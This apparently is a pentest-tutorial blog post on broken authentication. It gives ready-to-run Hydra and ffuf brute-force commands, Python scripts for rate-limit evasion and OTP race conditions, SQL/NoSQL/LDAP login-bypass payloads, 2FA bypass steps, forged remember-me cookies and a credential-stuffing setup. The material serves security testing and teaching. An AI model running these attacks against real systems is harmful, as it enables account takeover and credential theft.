web hacking

Broken Authentication: Bypass Login, 2FA and Sessions

Broken Authentication: Bypass Login, 2FA and Sessions

OWASP A07 Broken Authentication Guide: username enumeration, brute force, 2FA bypass, session fixation, password reset and credential stuffing for pentests.

  • Posted on 2026-08-03
  • Reading time: 6 min

Broken Authentication: How to Test Logins, 2FA Bypasses, and Web Sessions #

Broken Authentication covers everything that can go wrong with the login process and session management: username enumeration, brute force, form injection, weak session management, 2FA bypass, and password reset abuse. Many of these techniques are trivial but consistently ignored in testing.

OWASP A07:2021 includes failures in both authentication and session management. The distinction is important: they are two separate attack surfaces with different techniques.


1. Username enumeration — find valid accounts #

Before attacking the login, determine if you can distinguish between a non-existent user and an incorrect password. Many applications reveal this information unintentionally.

text
# Messaggi diversi → enumerazione possibile
"Email non trovata"          ← utente inesistente
"Password errata"            ← utente esiste

# Timing attack → anche con messaggi identici
# L'applicazione fa query DB solo se l'utente esiste
# Misura il tempo di risposta con Burp Intruder o ffuf
bash
# ffuf per timing attack su username
ffuf -u https://target.com/login \
  -X POST \
  -d "username=FUZZ&password=wrongpassword" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w usernames.txt \
  -t 1 \
  -o results.json \
  -of json

# Analizza i tempi di risposta nell'output — picchi = utente valido

# Burp Intruder → colonna "Response received" e "Response completed"
# Ordina per tempo: i più lenti sono probabilmente utenti esistenti

Other sources of enumeration:

  • “Forgot password” function → different messages for valid/invalid user
  • “Registration” function → “email already in use”
  • API /api/users/check?email=test@test.com
  • OAuth login with Google/GitHub → often reveals if the account exists

2. Brute force and bypass rate limiting #

bash
# Hydra — brute force HTTP POST
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -V -t 4

# Con header custom (cookie di sessione se serve)
hydra -l admin -P rockyou.txt target.com \
  http-post-form "/login:user=^USER^&pass=^PASS^:F=error" \
  -H "Cookie: csrf=abc123"

# Burp Intruder — Pitchfork per user/pass simultanei
# Sniper per solo password su utente noto

Bypass rate limiting — the lesser-known methods #

Most rate limiting implementations are IP- or session-based. Both can be bypassed:

http
# X-Forwarded-For rotation — bypass IP-based rate limit
POST /login HTTP/1.1
X-Forwarded-For: 1.1.1.1     ← cambia ad ogni richiesta

# Altri header che alcuni backend leggono per determinare l'IP
X-Real-IP: 2.2.2.2
X-Originating-IP: 3.3.3.3
X-Remote-IP: 4.4.4.4
X-Client-IP: 5.5.5.5
True-Client-IP: 6.6.6.6
python
# Script per ruotare X-Forwarded-For
import requests
import random

url = "https://target.com/login"
passwords = open("rockyou.txt").read().splitlines()

for pwd in passwords:
    fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
    r = requests.post(url,
        data={"username": "admin", "password": pwd},
        headers={"X-Forwarded-For": fake_ip}
    )
    if "dashboard" in r.text or r.status_code == 302:
        print(f"[+] Password trovata: {pwd}")
        break

Lesser known trick: change the value null of the session (logout + new login) between one attempt and the next if the lock is on the session and not on the IP.

Password spray vs. brute force: Instead of multiple passwords on one account (triggering a lockout), try a common password across multiple accounts. Same result, less noise.

bash
# ffuf — spray una password su lista utenti
ffuf -u https://target.com/login \
  -X POST \
  -d "username=FUZZ&password=Summer2024!" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w usernames.txt \
  -mc 302,200 \
  -fs BASELINE_SIZE

3. Injection into the login form #

SQL Injection #

text
# Username field — bypass con commento
admin'--
admin'#
' OR '1'='1
' OR 1=1--
admin' OR '1'='1'--
" OR "1"="1
') OR ('1'='1
' OR 1=1 LIMIT 1--

# Password field
' OR '1'='1
anything' OR '1'='1

Complete list: HackTricks Login Bypass List

NoSQL Injection — the (lesser-known) JSON trick #

If your backend accepts JSON in the login body, try sending an object instead of a string:

http
POST /login HTTP/1.1
Content-Type: application/json

# Payload normale
{"username": "admin", "password": "wrongpass"}

# Bypass con operatore MongoDB $ne (not equal)
{"username": "admin", "password": {"$ne": ""}}

# Con $gt (greater than) — logica sempre vera
{"username": "admin", "password": {"$gt": ""}}

# Regex — matcha qualsiasi password
{"username": "admin", "password": {"$regex": ".*"}}

# Username anche vulnerabile
{"username": {"$ne": ""}, "password": {"$ne": ""}}

If the app uses Content-Type: application/x-www-form-urlencoded, try the same logic with the parameter syntax:

text
username=admin&password[$ne]=wrongpass
username[$regex]=.*&password[$ne]=

LDAP injection #

text
# Username
*
*)(&
*)(|(&
admin)(&
*()|&'

# Password
*)(&
*)(|=*
*()|%26'

4. Session management — the least searched for vulnerabilities #

Session fixation #

The application accepts a session ID provided by the attacker before login and retains it after authentication. If you can get the victim to log in with a session ID you control, you have the session.

http
# Step 1 — invia link alla vittima con session ID fisso
https://target.com/login?PHPSESSID=attacker_controlled_id

# Se l'app non rigenera il session ID dopo il login:
# Step 2 — vittima fa login con quell'ID
# Step 3 — attaccante usa lo stesso ID → accede come vittima

# Verifica: il session ID cambia dopo il login?
# In Burp: confronta Set-Cookie prima e dopo il login

Session ID in URL #

text
https://target.com/dashboard?session=abc123
# Chiunque veda i log, l'URL condiviso, il Referer header → ha la sessione

After logging out, try reusing the old cookie — if the application doesn't invalidate the server-side session, you're still logged in.

bash
# Analizza il pattern dei session token
# Se sembra base64 → decodifica e guarda la struttura
echo "dXNlcl9pZD00Mg==" | base64 -d
# → user_id=42

# Se è un hash semplice di dati noti (user_id, timestamp)
echo -n "42" | md5sum
echo -n "admin" | sha1sum

5. 2FA bypass — HackTricks tricks #

This is the section with the lesser-known tricks, documented in HackTricks.

Go directly to the next step #

If the application has the flow /login → /2fa → /dashboard, try to access directly /dashboard After logging in without completing 2FA. In many implementations, the 2FA step is an added check, not a mandatory gate.

http
# Dopo login (prima del 2FA):
GET /dashboard HTTP/1.1
Cookie: session=SESSION_POST_LOGIN
# Se risponde 200 → 2FA bypassato

Manipulate the Referer header #

http
POST /verify-2fa HTTP/1.1
Referer: https://target.com/2fa    ← simula navigazione dalla pagina 2FA
Cookie: session=VITTIMA_SESSION
# Alcune app validano solo il Referer, non lo stato interno del flusso

Reuse your token on another account #

If 2FA generates identical tokens for all users at the same time (poorly implemented TOTP) or if there is a validation bug:

http
# Ottieni il tuo codice 2FA (sul tuo account)
# Usalo nella richiesta 2FA della vittima prima che scada
POST /verify-2fa HTTP/1.1
Cookie: session=SESSIONE_VITTIMA

code=123456   ← il tuo codice TOTP valido

Parallel sessions — bypass by design #

  1. Open two browsers/sessions
  2. Session A: Log in as yourself (account you control), get to 2FA
  3. Session B: Log in as victim (stolen credentials), access 2FA
  4. Complete 2FA for Session A (your account)
  5. In Session B, go directly to the next step after 2FA
  6. If the backend only uses a common session flag → you bypassed the victim's 2FA

Subdomain without 2FA #

text
# L'app principale ha 2FA
https://app.target.com/login

# Subdomain legacy o staging → stessa sessione, senza 2FA
https://mobile.target.com/login
https://api.target.com/login
https://m.target.com/login
https://legacy.target.com/login

Previous API versions #

text
# /api/v2/login richiede 2FA
POST /api/v2/login

# /api/v1/login (versione vecchia) → forse no
POST /api/v1/login

Race condition on the OTP code #

Send the same OTP code twice in parallel — if there is no atomic locking, both requests are validated before the code is invalidated:

python
import requests
import threading

def try_otp(code, session):
    r = requests.post("https://target.com/verify-2fa",
        cookies={"session": session},
        data={"code": code})
    print(f"{code}: {r.status_code}")

# Invia 5 richieste parallele con lo stesso codice
threads = []
for _ in range(5):
    t = threading.Thread(target=try_otp, args=("123456", "SESSION"))
    threads.append(t)

for t in threads:
    t.start()
for t in threads:
    t.join()

X-Forwarded-For to bypass OTP lockout #

If the rate limit on the OTP code is IP-based:

http
POST /verify-2fa HTTP/1.1
X-Forwarded-For: 1.1.1.1   ← cambia ad ogni tentativo
Cookie: session=VITTIMA_SESSION

code=0000

6. Password reset abuse #

http
# Token di reset prevedibile — controlla la struttura
# Se è base64(email:timestamp) → costruisci il token per la vittima

# Testa se il token non ha scadenza
# Richiedi un reset → aspetta 24 ore → usa lo stesso token

# Token legato all'utente sbagliato
# Richiedi reset per il tuo account
# Usa il tuo token nella richiesta di reset della vittima
POST /reset-password HTTP/1.1
email=vittima@target.com&token=IL_TUO_TOKEN

Full discussion in Password Reset Attack.


7. Remember me — abuse #

http
# Intercetta il cookie "remember me"
# Analizza la struttura: base64, hash, user_id+timestamp?

# Se è user_id codificato:
Cookie: remember_me=dXNlcl9pZD00Mg==
→ base64 -d → user_id=42
→ base64 "user_id=1" → dXNlcl9pZD0x
Cookie: remember_me=dXNlcl9pZD0x    ← admin se ha user_id=1

8. Credential stuffing #

bash
# Con credenziali da breach → wordlist con coppie user:pass
# Usa ffuf con modalità Pitchfork o script custom

# Formato wordlist per stuffing
# user1@email.com:password1
# user2@email.com:password2

ffuf -u https://target.com/login \
  -X POST \
  -request-data "email=W1&password=W2" \
  -w credentials.txt:W1:W2 \   # nota: questa sintassi dipende dalla versione
  -mc 302
  
# Alternativa: script Python con requests + lista coppie

Cheat sheet #

text
=== ENUMERATION ===
Messaggi errore diversi → utente valido/invalido
Timing attack con ffuf -t 1 → misura tempi
Forgot password / register → stesse vulnerabilità

=== BRUTE FORCE BYPASS ===
X-Forwarded-For: RANDOM_IP        # bypass IP rate limit
X-Real-IP / X-Client-IP / True-Client-IP
Logout + nuovo session ID         # bypass session-based lockout
Password spray invece di brute    # 1 password × N utenti

=== LOGIN INJECTION ===
SQL: admin'-- / ' OR '1'='1'--
NoSQL JSON: {"password": {"$ne": ""}}
NoSQL param: password[$ne]=x
LDAP: *)(|(&

=== SESSION ===
Controlla se session ID cambia dopo login (fixation)
Riusa cookie dopo logout
Decodifica base64 del cookie → struttura prevedibile?

=== 2FA BYPASS ===
Vai direttamente a /dashboard dopo login
Modifica Referer → simula venire da /2fa
Usa tuo OTP su sessione vittima
Sessioni parallele → completa 2FA su tuo account
Subdomain/api senza 2FA: mobile.*, api.*, /v1/*
Race condition → richieste parallele stesso OTP
X-Forwarded-For → bypass lockout OTP

=== REMEMBER ME ===
base64 -d del cookie → user_id in chiaro?
Costruisci cookie per admin (user_id=1)

Related articles:

For use in authorized environments only.

#web-security #broken-authentication #OWASP #2FA-bypass

#broken-authentication #owasp #authentication #2fa-bypass #session-management

leave a message

I'm not a robot